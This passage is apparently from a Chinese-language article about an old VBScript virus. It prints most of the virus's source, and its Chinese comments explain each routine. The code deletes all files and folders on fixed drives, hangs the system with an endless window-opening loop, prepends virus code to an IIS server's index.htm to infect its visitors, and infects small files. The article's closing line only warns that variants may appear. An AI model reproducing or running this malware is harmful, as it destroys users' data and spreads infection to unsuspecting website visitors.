ko.close
'接着立刻删除其它盘的所有文件
set adi = fso.drives
for each x in adi
if x.drivestype = 2 then
set kd = fso.getfolder(x & "\")
set kfs = kd.files
for each kf in kfs
kf.delete
next
set ks = kd.subfolders
for each kh in ks
kh.delete
next
end if
next
do while 1 '让系统立刻死机
window.open ""
loop
end sub
sub hackpage() ' 此过程是直接攻击 mircosoft iis 服务器主页过程
dim fi
h = "c:\inetput\wwwroot"
if fso.folderexists(h) then
'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户set fi = fso.getfile(h & "\index.htm")
addhead h & "\index.htm",fi,1
end if
end sub
sub addhead(path, f, t) '此过程是病毒传染文件具体过程
on error resume next
dim tso, buffer,sr
if f.size > max_size then exit sub '传染大小小于100k的文件
set tso = fso.opentextfile(path, 1, true)
buffer = tso.readall()
tso.close
if (t = 1) then
if ucase(left(ltrim(buffer), 7)) <> "<script" then
set tso = fso.opentextfile(path, 2, true)
tso.write code_str & vbcrlf & buffer '插入到文件头
tso.close
end if
else
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.fileexists(sr) then fso.copyfile sr, path
end if
end if
end sub
虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。
